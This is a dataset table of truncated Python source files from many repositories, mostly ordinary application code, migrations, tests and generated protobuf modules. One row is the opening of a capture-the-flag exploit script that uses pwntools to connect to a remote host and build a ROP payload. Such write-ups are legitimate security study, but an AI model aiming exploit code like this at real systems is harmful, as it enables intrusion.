code stringlengths 3 1.05M | repo_name stringlengths 5 104 | path stringlengths 4 251 | language stringclasses 1
value | license stringclasses 15
values | size int64 3 1.05M |
|---|---|---|---|---|---|
import logging
import uuid
import eventlet
from errors import ExpectedException
import rtjp_eventlet
class HookboxConn(object):
logger = logging.getLogger('HookboxConn')
def __init__(self, server, rtjp_conn, config, remote_addr):
self._rtjp_conn = rtjp_conn
self.server = server
sel... | gameclosure/hookbox | hookbox/protocol.py | Python | mit | 5,241 |
#!/usr/bin/env python
#########################################
# Zeitcoin Transaction Class
#########################################
import sys
from zeitcoindb import hashtable
from zeitcoinutility import utility,encyption
class transactions:
# Will handle transactions
# Transaction (format)
# | Previous hash va... | mmgrant73/zeitcoin | zeitcointrans.py | Python | mit | 9,705 |
import pygame
import pygame.locals
from pygame.locals import *
if __name__ == "__main__":
# CODE MODIFICATION!
# We're down to just what we need at the moment.
pygame.init()
pygame.display.set_caption('Petri Dish')
pygame.quit()
| jeremyosborne/python | third_party/pygame/02_petri/petri.py | Python | mit | 274 |
# import pytest
# import pandas as pd
# import numpy as np
# import pkg_resources, os
# from io import StringIO
# from epic.scripts.overlaps.overlaps import (_compute_region_overlap,
# _create_overlap_matrix_regions)
# from epic.config.genomes import (create_genome_size_... | endrebak/epic | tests/scripts/test_overlaps.py | Python | mit | 1,447 |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
from streamcorpus import make_stream_item
from streamcorpus_pipeline._title import title
from streamcorpus_pipeline._clean_visible import clean_visible
def test_title():
stage = title({})
cv = clean_visible({})
si =... | trec-kba/streamcorpus-pipeline | streamcorpus_pipeline/tests/test_title.py | Python | mit | 2,239 |
"""Config flow to configure WiLight."""
from urllib.parse import urlparse
import pywilight
from homeassistant.components import ssdp
from homeassistant.config_entries import ConfigFlow
from homeassistant.const import CONF_HOST
from . import DOMAIN
CONF_SERIAL_NUMBER = "serial_number"
CONF_MODEL_NAME = "model_name"
... | aronsky/home-assistant | homeassistant/components/wilight/config_flow.py | Python | apache-2.0 | 3,621 |
# -*- coding: utf-8 -*-
from ofrestapi.users import Users
from ofrestapi.muc import Muc
from ofrestapi.system import System
from ofrestapi.groups import Groups
from ofrestapi.sessions import Sessions
from ofrestapi.messages import Messages
import pkg_resources
__version__ = pkg_resources.require("openfire-restapi")[0... | Adarnof/openfire-restapi | ofrestapi/__init__.py | Python | gpl-3.0 | 330 |
#-*- coding: utf-8 -*-
# wellswidget.py
# Copyright (c) 2011, see AUTHORS
# All rights reserved.
# This file is part of ProfileExtractor.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
# Redistributions of source ... | hadim/profileextractor | src/ui/profiler/wellswidget.py | Python | bsd-3-clause | 6,684 |
import abc
import httplib as http
from framework.exceptions import HTTPError
from framework.exceptions import PermissionsError
from website.oauth.models import ExternalAccount
class CitationsProvider(object):
__metaclass__ = abc.ABCMeta
def __init__(self, provider_name):
self.provider_name = provid... | KAsante95/osf.io | website/addons/citations/provider.py | Python | apache-2.0 | 5,390 |
"""dodo file. test + management stuff"""
import glob
import os
import pytest
from doitpy.pyflakes import Pyflakes
from doitpy.coverage import Config, Coverage, PythonPackage
from doitpy import docs
from doitpy.package import Package
DOIT_CONFIG = {
'minversion': '0.24.0',
'default_tasks': ['pyflakes', 'ut']... | JohannesBuchner/doit | dodo.py | Python | mit | 4,042 |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: tensorflow/core/framework/op_gen_overrides.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.p... | fluxcapacitor/pipeline | libs/pipeline_model/tensorflow/core/framework/op_gen_overrides_pb2.py | Python | apache-2.0 | 10,908 |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Ad'
db.create_table(u'polyclassifiedads_ad', (
... | PolyLAN/polyclassifiedads | polyclassifiedads/migrations/0001_initial.py | Python | bsd-2-clause | 7,916 |
import os
import subprocess
import nixops.statefile
from nose import SkipTest
from tests.functional import DatabaseUsingTest
class GenericDeploymentTest(DatabaseUsingTest):
def setup(self):
super(GenericDeploymentTest, self).setup()
self.depl = self.sf.create_deployment()
self.depl.logge... | NixOS/nixops | tests/functional/generic_deployment_test.py | Python | lgpl-3.0 | 344 |
# Copyright 2019-2020 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | google/telluride_decoding | telluride_decoding/brain_model.py | Python | apache-2.0 | 24,444 |
import pymysql
connection=pymysql.connect(host="127.0.0.1", port=3306, user="Renion", passwd="password", db="recvdata")
cursor = connection.cursor()
cursor.execute("SELECT original FROM datatable") #ALTER TABLE datatabke ADD item INT DEFAULT self.j[item]
sql_data = cursor.fetchall ()
cursor.close ()
connection.cl... | enorenio/test | dsm/alt/mysqltest.py | Python | mit | 450 |
#!/usr/bin/python
import hashlib
def escape(s):
d = {"\n":"\\n","\"":"\\\"","\\":"\\\\"}
return "".join(d[k] if k in d else k for k in s)
data = "#!/usr/bin/python\n\nimport hashlib\n\ndef escape(s):\n d = {\"\\n\":\"\\\\n\",\"\\\"\":\"\\\\\\\"\",\"\\\\\":\"\\\\\\\\\"}\n return \"\".join(d[k] if k in d... | sclereid/collections | quine/selfmd5.py | Python | mit | 534 |
#!/usr/bin/env python
# standalone test harness for policy python code
from optparse import OptionParser
_message = {}
class Message:
def __init__(self):
pass
def getInboundProperty(self,key):
return _message[key] if key in _message else ''
def setInboundProperty(self,key,value):
_m... | n2ygk/mulesoft-oauth2-scope-enforcer | test.py | Python | apache-2.0 | 2,376 |
from projectname.tests import *
class TestSampleController(TestController):
def test_set_lang(self):
response = self.app.get(url_for(controller='/sample', action='set_lang', lang='ja'))
assert u'\u8a00\u8a9e\u8a2d\u5b9a\u3092\u300cja\u300d\u306b\u5909\u66f4\u3057\u307e\u3057\u305f'.encode('utf-8') ... | santisiri/popego | envs/ALPHA-POPEGO/lib/python2.5/site-packages/Pylons-0.9.6.1-py2.5.egg/tests/test_webapps/filestotest/functional_sample_controller_i18n.py | Python | bsd-3-clause | 1,038 |
# uncompyle6 version 2.9.10
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10)
# [GCC 6.2.0 20161005]
# Embedded file name: file_util.py
"""distutils.file_util
Utility functions for operating on single files.
"""
__revision__ = '$Id$'
import os
from distutils.errors impor... | DarthMaulware/EquationGroupLeaks | Leak #5 - Lost In Translation/windows/Resources/Python/Core/Lib/distutils/file_util.py | Python | unlicense | 6,802 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
from pwn import *
#host = "10.211.55.6"
#port = 8888
host = "128.199.152.175"
port = 10001
r = remote(host,port)
context.arch = "amd64"
# brute force 4 bit
payload = "a"*24
pop_rdi = 0x00000000004005c3
pop_rsi_r15 = 0x00000000004005c1
read = 0x400... | scwuaptx/CTF | 2017-writeup/asis/start_hard.py | Python | gpl-2.0 | 485 |
#!/usr/bin/env python
import itertools as it
import ubelt as ub
def check_relationships(branches):
ancestors = {b: set() for b in branches}
length = len(branches) * (len(branches) - 1)
for b1, b2 in ub.ProgIter(it.combinations(branches, 2), length=length):
ret = ub.cmd('git merge-base --is-ancest... | Erotemic/local | git_tools/git_branch_relationships.py | Python | gpl-3.0 | 2,945 |
from selenium import webdriver
from selenium.webdriver.support.ui import Select
url_list = []
for index in range(0, 253):
profile = webdriver.FirefoxProfile()
profile.set_preference("permissions.default.image", 2)
profile.set_preference("permissions.default.script", 2)
profile.set_preference("permissio... | howl-anderson/SDMdata | install/get_gadm_data/main.py | Python | agpl-3.0 | 935 |
# -*- encoding: utf-8 -*-
"""
h2o -- module for using H2O services.
:copyright: (c) 2016 H2O.ai
:license: Apache License Version 2.0 (see LICENSE for details)
"""
from __future__ import absolute_import, division, print_function, unicode_literals
import logging
import os
import warnings
import webbrowser
from h2o.... | mathemage/h2o-3 | h2o-py/h2o/h2o.py | Python | apache-2.0 | 62,868 |
#!/usr/bin/env python
# -*- mode: python; sh-basic-offset: 4; indent-tabs-mode: nil; coding: utf-8 -*-
# vim: tabstop=4 softtabstop=4 expandtab shiftwidth=4 fileencoding=utf-8
import argparse
import sys
import clusto
from clusto import script_helper
class Reboot(script_helper.Script):
'''
This will reboot a ... | motivator/clusto | src/clusto/commands/reboot.py | Python | bsd-3-clause | 2,325 |
from api.util import settings, timeutils
from datetime import datetime, timedelta
import redis
import json
import ast
class RedisStatsProvider(object):
"""A Redis based persistance to store and fetch stats"""
def __init__(self):
# redis server to use to store stats
stats_server = settings.get_... | fengshao0907/RedisLive | src/dataprovider/redisprovider.py | Python | mit | 11,733 |
def number_string_with_postfix(number):
if number == 1:
return "1st"
elif number == 2:
return "2nd"
elif number == 3:
return "3rd"
else:
return "%sth" % number
| JBarberU/strawberry_py | util/number_helper.py | Python | mit | 186 |
"""NS module -- XML Namespace constants
This module contains the definitions of namespaces (and sometimes other
URI's) used by a variety of XML standards. Each class has a short
all-uppercase name, which should follow any (emerging) convention for
how that standard is commonly used. For example, ds is almost always
... | wuzhenda/gaedav | pyxml/ns.py | Python | lgpl-2.1 | 10,457 |
from django.contrib import admin
from alert.donate.models import Donation
from alert.userHandling.models import UserProfile
class DonorInline(admin.TabularInline):
model = UserProfile.donation.through
max_num = 1
raw_id_fields = (
'userprofile',
)
class DonationAdmin(admin.ModelAdmin):
r... | shashi792/courtlistener | alert/donate/admin.py | Python | agpl-3.0 | 730 |
import unittest
from unittest import mock
from tests.recipes.recipe_lib_test import BaseTestForMakeRecipe
class TestLibvorbisRecipe(BaseTestForMakeRecipe, unittest.TestCase):
"""
An unittest for recipe :mod:`~pythonforandroid.recipes.libvorbis`
"""
recipe_name = "libvorbis"
sh_command_calls = ["./... | kivy/python-for-android | tests/recipes/test_libvorbis.py | Python | mit | 1,073 |
#!/usr/bin/env python
import os
import sys
from fnmatch import fnmatchcase
from setuptools import setup,find_packages
from distutils.util import convert_path
# Provided as an attribute, so you can append to these instead
# of replicating them:
standard_exclude = ["*.py", "*.pyc", "*~", ".*", "*.bak", "Makefile"]
stan... | GinnyN/towerofdimensions-django | django-allauth/setup.py | Python | bsd-3-clause | 4,743 |
# Copyright (c) 2012 Web Notes Technologies Pvt Ltd (http://erpnext.com)
#
# MIT License (MIT)
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without lim... | gangadhar-kadam/mic-wnframework | core/doctype/property_setter/property_setter.py | Python | mit | 3,077 |
s = "Soy tu padre"
print s.replace("a","*",len(s)) | CarlosRA97/explorer-interface | metodo_cadenas.py | Python | gpl-2.0 | 51 |
# import pytest
# @pytest.mark.asyncio
# async def test_async_execute(df):
# count_future = df.count(df.x, delay=True)
# await df.execute_async()
# assert await count_future == len(df)
| maartenbreddels/vaex | tests/async_test.py | Python | mit | 200 |
from matplotlib import rcParams, rc
from spuriousRadioProbRangeP1 import probsOfGRP
from util import mpfit
from util.fitFunctions import gaussian
import matplotlib.pyplot as plt
import numpy as np
import matplotlib
import scipy.stats
import tables
import scipy.special
def fitGauss(xdata,ydata,yerr,flatLine=False):
... | bmazin/ARCONS-pipeline | examples/Pal2012-crab/enhancementPhaseP1.py | Python | gpl-2.0 | 21,133 |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | takeshineshiro/keystone | keystone/tests/unit/common/test_connection_pool.py | Python | apache-2.0 | 5,436 |
"""
Created on Mon Mar 20 12:28:21 2017
@author: Hriddhi Dey
This module contains the DetectLandmark class.
"""
import os.path
import sys
from urllib.request import urlretrieve
import cv2
import dlib
import numpy
PREDICTOR_PATH = "shape_predictor_68_face_landmarks.dat"
CASC_PATH = "haarcascade_frontalface_default.xm... | hriddhidey/visage | visage/detect_features.py | Python | mit | 6,555 |
from django.conf.urls import patterns, include, url
from django.conf.urls.defaults import handler404, handler500
from django.contrib import admin
from youtune import settings
from youtune.account import views as account_views, models as account_models
from youtune.frontend import views as frontend_views
from youtune.a... | Irrialite/YouTune | youtune/urls.py | Python | bsd-3-clause | 3,081 |
'''
Created on 24.05.2014
@author: alex
'''
class Person(object):
'''
classdocs
'''
def __init__(self):
'''
Constructor
''' | sora7/listparse | OLD/CertainProg2/src/listparse/parsers/wa.py | Python | gpl-2.0 | 167 |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Tournament.league'
db.add_column('League_tournament', 'league',
self.g... | RedBulli/Django_SnookerStats | League/migrations/0004_league_to_tournament.py | Python | bsd-3-clause | 1,572 |
# -*- encoding: utf-8 -*-
##############################################################################
#
# Copyright (C) 2014 KMEE (http://www.kmee.com.br)
# @author Luis Felipe Mileo <[email protected]>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the G... | christiandev/l10n-brazil | __unported__/l10n_br_hr_timesheet_invoice/hr_timesheet_invoice.py | Python | agpl-3.0 | 3,193 |
#Project Euler Problem 4
#A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 * 99.
#Find the largest palindrome made from the product of two 3-digit numbers.
def palindrome(test):
while len(test) > 2:
if test[0] == test[-1]:
... | ieuan1630-cmis/ieuan1630-cmis-cs2 | pep4.py | Python | cc0-1.0 | 2,405 |
""" This module analyzes the sentiment data provided by the American Association of Individual Investors ("AAII") which collects sentiment data from its members on
a weekly basis in regards to the 6 months’ stock market outlook. The module analyzes whether there is a connection between investor sentiment
and futur... | kscheltat/quandl | docs/AAII.py | Python | gpl-3.0 | 3,088 |
{
'name': 'CookieBar',
'category': 'Website',
'summary': 'Informs visitors about storing cookies on their browser',
'version': '1.0',
'description': """
CookieBar
======================================
Informs visitors about storing cookies on their browser
""",
'author': 'Nedas Žilinska... | nedaszilinskas/Odoo-CMS-CookieBar | website_cookiebar/__openerp__.py | Python | mit | 596 |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'builder.ui'
#
# Created: Mon May 22 10:30:45 2017
# by: pyside-uic 0.2.15 running on PySide 1.2.4
#
# WARNING! All changes made in this file will be lost!
from PySide import QtCore, QtGui
class Ui_pandapower(object):
def setupUi(s... | Tooblippe/pandapower_gui | resources/ui/builder.py | Python | bsd-3-clause | 35,136 |
df2011 = data['2011'].dropna()
df2011.groupby(df2011.index.week)[['BETN029', 'BETR801']].quantile(0.95).plot() | jorisvandenbossche/2015-EuroScipy-pandas-tutorial | snippets/07 - Case study - air quality data64.py | Python | bsd-2-clause | 110 |
# Standard imports
import unittest
import json
import logging
from datetime import datetime, timedelta
# Our imports
from emission.core.get_database import get_db, get_mode_db, get_section_db
from emission.analysis.result.precompute import precompute_results
from emission.core.wrapper.user import User
from emission.co... | joshzarrabi/e-mission-server | emission/tests/analysisTests/result_precompute/TestPrecomputeResults.py | Python | bsd-3-clause | 3,850 |
"""
ViewSets are essentially just a type of class based view, that doesn't provide
any method handlers, such as `get()`, `post()`, etc... but instead has actions,
such as `list()`, `retrieve()`, `create()`, etc...
Actions are only bound to methods at the point of instantiating the views.
user_list = UserViewSet.a... | ramcn/demo3 | venv/lib/python3.4/site-packages/rest_framework/viewsets.py | Python | mit | 5,303 |
import logging
logging.basicConfig()
logger = logging.getLogger(__name__)
import sys
import maya.cmds as cmds
import constants as const
def buildCurve(name):
## Bail out if a node with the name already exists
if cmds.objExists(name):
logger.warning('Curve name already exists in scene. Please pick a uni... | jamesbdunlop/defaultMayaLibrary | nodes/curves.py | Python | apache-2.0 | 2,112 |
import time
import sys
from AppKit import *
class Converter (NSObject):
def convertAmount(self, amt, rate):
return amt*rate
class ConverterController (NSObject):
# First define the IB Outlets, the 'ivar' calls below define new
# instance variables in the objective-C class (e.g. visible
# fo... | albertz/music-player | mac/pyobjc-framework-Cocoa/Examples/AppKit/CurrencyConverter/CurrencyConverter.py | Python | bsd-2-clause | 1,082 |
"""Block util.See prints statistics about the nodes matching a given condition.
Example usage from the command line::
udapy util.See node='node.is_nonprojective()' n=3 \
stats=dir,children,c_upos,p_lemma,deprel,feats_split < in.conllu
Example output::
node.is_nonprojective()
matches 245 out of 35766 nodes (0.7%) i... | udapi/udapi-python | udapi/block/util/see.py | Python | gpl-3.0 | 4,850 |
import json
import logging
from logging.config import dictConfig
import threading
import pickle
import redis
import aws
from settings import Settings
def terminate_worker(worker_id, instance, client):
result = aws.terminate_machine(instance)
if result is None or len(result) == 0:
logging.error('could... | witlox/dcs | controller/ilm/consuela.py | Python | gpl-2.0 | 4,723 |
from django.conf import settings
from django.db.models import Count, F, Q
from django_filters.rest_framework.backends import DjangoFilterBackend
from geotrek.api.mobile.serializers import trekking as api_serializers_trekking
from geotrek.api.mobile.serializers import tourism as api_serializers_tourism
from geotrek.a... | makinacorpus/Geotrek | geotrek/api/mobile/views/trekking.py | Python | bsd-2-clause | 4,033 |
#
# Copyright 2015 Geoff MacGill
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... | skippyprime/stimpi | stimpi/frames/impl/receipt.py | Python | apache-2.0 | 1,058 |
from __future__ import absolute_import
from __future__ import with_statement
import warnings
from mock import patch
from kombu.connection import BrokerConnection
from kombu.exceptions import StdChannelError
from kombu.transport import virtual
from kombu.utils import uuid
from kombu.tests.compat import catch_warning... | anistark/mozillians | vendor-local/lib/python/kombu/tests/transport/virtual/test_base.py | Python | bsd-3-clause | 15,569 |
class MapperSimilarity:
def __init__ (self,maxPictures):
self.maxPictures = maxPictures;
def map(self,theContext):
mapIterator = theContext.iterator;
pictureIdx = mapIterator.getNext().rstrip('\n');
while pictureIdx:
pictureIdx = int(pictureIdx);
for... | neosky2142/PyMR | src/MapperSimilarity.py | Python | mit | 477 |
"""Mocking utilities for testing"""
from io import BytesIO
import json
import os
import re
from unittest.mock import Mock
from urllib.parse import urlparse, parse_qs
import uuid
import pytest
from tornado.httpclient import HTTPResponse
from tornado.httputil import HTTPServerRequest
from tornado.log import app_log
fr... | NickolausDS/oauthenticator | oauthenticator/tests/mocks.py | Python | bsd-3-clause | 8,314 |
from google.appengine.ext import ndb
from google.appengine.api import search
from google.appengine.api import urlfetch
import logging
import json
import re
import urllib
from urlparse import urlparse
import webapp2
from datamodel import Author, Library, Version, Content, Dependency, Status, Sitemap
import versiontag
... | webcomponents/webcomponents.org | src/api.py | Python | apache-2.0 | 26,875 |
"""Combine integration test target code coverage reports."""
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from .... import types as t
from . import (
CoverageAnalyzeTargetsConfig,
get_target_index,
make_report,
read_report,
write_report,
)
if t.TYPE_CHEC... | roadmapper/ansible | test/lib/ansible_test/_internal/coverage/analyze/targets/combine.py | Python | gpl-3.0 | 2,420 |
# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*-
# This file is part of Guadalinex
#
# This software is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, ... | gecos-team/gecosws-agent | gecosfirstlogin_lib/Window.py | Python | gpl-2.0 | 3,073 |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-26 21:26
from __future__ import unicode_literals
import datetime
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.sw... | akmcinto/TodoApp | ToDoApp/todo/migrations/0009_auto_20160126_1426.py | Python | apache-2.0 | 1,146 |
# Copyright (c) 2015 Hitachi Data Systems, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# U... | bswartz/manila | manila/share/drivers/hitachi/hnas/ssh.py | Python | apache-2.0 | 35,481 |
import torch
import numpy as np
from utils import alphaPlot
def validate(model, val_iter, writer):
model.eval()
total_loss = 0
if len(val_iter) == 1:
random_batch = 0
else:
random_batch = np.random.randint(0, len(val_iter) - 1)
for i, batch in enumerate(val_iter):
outputs, a... | anoopsarkar/nlp-class-hw | neuralmt/validator.py | Python | apache-2.0 | 912 |
def parser(args, actions):
for action in actions:
if args.get(action):
return actions[action](**args)
raise NotImplemented
class NotImplemented:
pass
| demophoon/sams-client | client/cli.py | Python | mit | 184 |
import time
import os
import shutil
import subprocess
import platform
from subprocess import Popen, PIPE
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
chrome_options = Options()
testdir = os.path.dirname(os.path.abspath(__file__))
chrome_options.add_argument("nwapp=" + testdir)
b... | nwjs/nw.js | test/sanity/nwjc/test.py | Python | mit | 1,606 |
# Copyright (c) 2018-2019 Linaro
# Copyright (c) 2019 Nordic Semiconductor ASA
#
# SPDX-License-Identifier: Apache-2.0
import os
import pickle
import sys
ZEPHYR_BASE = os.environ["ZEPHYR_BASE"]
sys.path.insert(0, os.path.join(ZEPHYR_BASE, "scripts", "dts",
"python-devicetree", "src"))
... | zephyrproject-rtos/zephyr | scripts/kconfig/kconfigfunctions.py | Python | apache-2.0 | 15,611 |
# -*- coding: utf-8 -*-
##############################################################################
#
# Author: Yannick Buron. Copyright Yannick Buron
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by t... | codoo/vertical-exchange | base_exchange/__init__.py | Python | agpl-3.0 | 949 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
This Program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This Program is distributed in the hope th... | diraimondo/osmc | package/a2dp-app-osmc/files/usr/share/kodi/addons/service.osmc.btplayer/service.py | Python | gpl-2.0 | 9,195 |
# -*- coding: utf-8 -*-
#
# This file is part of Zenodo.
# Copyright (C) 2016 CERN.
#
# Zenodo is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later v... | lnielsen/zenodo | zenodo/modules/records/serializers/fields/sanitizedurl.py | Python | gpl-2.0 | 1,506 |
#!/usr/bin/env python
import pytest
import networkx as nx
class TestMCS:
@classmethod
def setup_class(cls):
# simple graph
connected_chordal_G = nx.Graph()
connected_chordal_G.add_edges_from([(1, 2), (1, 3), (2, 3), (2, 4),
(3, 4), (3, 5), (... | sserrot/champion_relationships | venv/Lib/site-packages/networkx/algorithms/tests/test_chordal.py | Python | mit | 3,351 |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8:
# Author: Binux<[email protected]>
# http://binux.me
# Created on 2014-12-04 22:33:43
import re
import six
import time
import json
import sqlalchemy.exc
from sqlalchemy import (create_engine, MetaData, Table, Column, I... | wangjun/pyspider | pyspider/database/sqlalchemy/taskdb.py | Python | apache-2.0 | 6,160 |
from __future__ import absolute_import
# setup logging as close to launching the command as possible
from .logconfig import setup_logging
from .command import BaseCommand
from .settings import SettingsParser
settings = SettingsParser.settings
__all__ = ['SettingsParser', 'settings', 'setup_logging']
| rca/cmdline | src/cmdline/__init__.py | Python | apache-2.0 | 305 |
#!/usr/bin/env python
"""
crackfortran --- read fortran (77,90) code and extract declaration information.
Copyright 1999-2004 Pearu Peterson all rights reserved,
Pearu Peterson <[email protected]>
Permission to use, modify, and distribute this software is given under the
terms of the NumPy License.
NO WARRANTY IS EXPRESSE... | kiwifb/numpy | numpy/f2py/crackfortran.py | Python | bsd-3-clause | 126,846 |
import os
import tempfile
import hashlib
import pickle
from collections import defaultdict
class CompilerRepository:
def __init__(self):
self.__dir = os.path.join(tempfile.gettempdir(), 'BuildPal', 'Compilers')
self.__compilers = set()
self.__partial_compilers = set()
s... | pkesist/buildpal | Python/buildpal/server/compiler_repository.py | Python | gpl-3.0 | 1,976 |
from authenticate import authenticate
class backup(object):
def __init__(self, auth, hostname, port=4712, https=True):
self.auth = auth
self.hostname = hostname
self.port = port
self.https = https
def performBackup(self):
r = self.auth.get(self.backupURL())
... | ColinKeigher/McAfeeWebGateway | mwg/backup.py | Python | gpl-2.0 | 503 |
# Copyright 2017,2018,2019,2020,2021 Sony Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | sony/nnabla | python/test/solver/test_adam.py | Python | apache-2.0 | 2,232 |
from dogapi.stats.dog_stats_api import DogStatsApi
| GbalsaC/bitnamiP | venv/lib/python2.7/site-packages/dogapi/stats/__init__.py | Python | agpl-3.0 | 51 |
import serial.tools.list_ports
import fermentrack_django.settings
import os
import pickle
# from . import udev_integration
DEVICE_CACHE_FILENAME = fermentrack_django.settings.ROOT_DIR / 'device.cache'
known_devices = {
'arduino': [
# Those with 'generic': False are virtually guaranteed to be Arduinos
... | thorrak/fermentrack | app/serial_integration.py | Python | mit | 4,779 |
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'news/$', views.post_list, name='postlist'),
url(r'submit/$', views.submit_post, name='submitpost'),
url(r'news/(?P<post_slug>[-\w]+)/$', views.post_view, name='postview'),
url(r'news/(?P<post_slug>[-\w]+)/(?P<comment_pk>\d+)$',... | Jaxkr/TruthBot.org | Truthbot/news/urls.py | Python | gpl-2.0 | 591 |
"""Support for esphome devices."""
import asyncio
import logging
import math
from typing import Any, Callable, Dict, List, Optional
from aioesphomeapi import (
APIClient,
APIConnectionError,
DeviceInfo,
EntityInfo,
EntityState,
HomeassistantServiceCall,
UserService,
UserServiceArgType,
... | tboyce021/home-assistant | homeassistant/components/esphome/__init__.py | Python | apache-2.0 | 21,801 |
from django.template.loader_tags import BlockNode, ExtendsNode
from django.template import loader, Context, RequestContext, TextNode
from django.http import HttpResponse
def get_template(template):
if isinstance(template, (tuple, list)):
return loader.select_template(template)
return loader.get_templat... | SpreadBand/SpreadBand | utils/template.py | Python | agpl-3.0 | 2,505 |
from django.core.management.base import BaseCommand, CommandError
import commonware.log
from olympia.access.models import Group, GroupUser
from olympia.users.models import UserProfile
class Command(BaseCommand):
help = ('Remove a user from a group. Syntax: \n'
' ./manage.py removeuserfromgroup <u... | mstriemer/olympia | src/olympia/zadmin/management/commands/removeuserfromgroup.py | Python | bsd-3-clause | 1,740 |
from MirrorAI.io.read import readCIFAR
import os
def main():
dir_data = os.path.join("..",
"data/cifar/cifar-10-batches-py"
)
f_meta = os.path.join(dir_data, "batches.meta")
data_files = [
os.path.join(dir_data, "data_batch_1"),
os.path.join(dir_data, "data_batch_2"... | yuhangwang/MirrorAI | mirror-ai/app/py/proxyMirrorAI.py | Python | mit | 708 |
#!/usr/bin/env python
# encoding: utf-8
#
# partially based on boost.py written by Gernot Vormayr
# written by Ruediger Sonderfeld <[email protected]>, 2008
# modified by Bjoern Michaelsen, 2008
# modified by Luca Fossati, 2008
# rewritten for waf 1.5.1, Thomas Nagy, 2008
# rewritten for waf 1.6.2, Sylvain Rouquet... | spirosmastorakis/ndn-tools | .waf-tools/boost.py | Python | gpl-3.0 | 14,617 |
# coding: utf-8
#
# Copyright 2011 Yesudeep Mangalapilly <[email protected]>
# Copyright 2012 Google, Inc & contributors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.a... | snakeleon/YouCompleteMe-x64 | third_party/ycmd/third_party/watchdog_deps/watchdog/src/watchdog/utils/platform.py | Python | gpl-3.0 | 1,497 |
"""
WSGI config for kaka project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/
"""
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "kaka.settings")
from django.core.wsgi im... | hdzierz/Kaka | kaka/wsgi.py | Python | gpl-2.0 | 383 |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
db.rename_column('offer_conditionaloffer', 'start_date', 'start_datetime')
db.rename_column('offer_condition... | jinnykoo/wuyisj | src/oscar/apps/offer/south_migrations/0018_auto__del_field_conditionaloffer_end_date__del_field_conditionaloffer_.py | Python | bsd-3-clause | 16,241 |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'DepositTransaction.confirmations'
db.add_column('django_bitcoin_deposittransaction', 'confir... | FuzzyHobbit/django-bitcoin | django_bitcoin/migrations/0010_auto__add_field_deposittransaction_confirmations__add_field_deposittra.py | Python | mit | 8,069 |
from urllib import urlencode
from HTMLParser import HTMLParser
url = 'http://www.filecrop.com/'
search_url = url + '/search.php?{query}&size_i=0&size_f=100000000&engine_r=1&engine_d=1&engine_e=1&engine_4=1&engine_m=1&pos={index}' # noqa
paging = True
class FilecropResultParser(HTMLParser):
def __init__(self):... | PwnArt1st/searx | searx/engines/filecrop.py | Python | agpl-3.0 | 2,573 |
##############################################################################
##############################################################################
#
# Replicates results in section 4.2
#
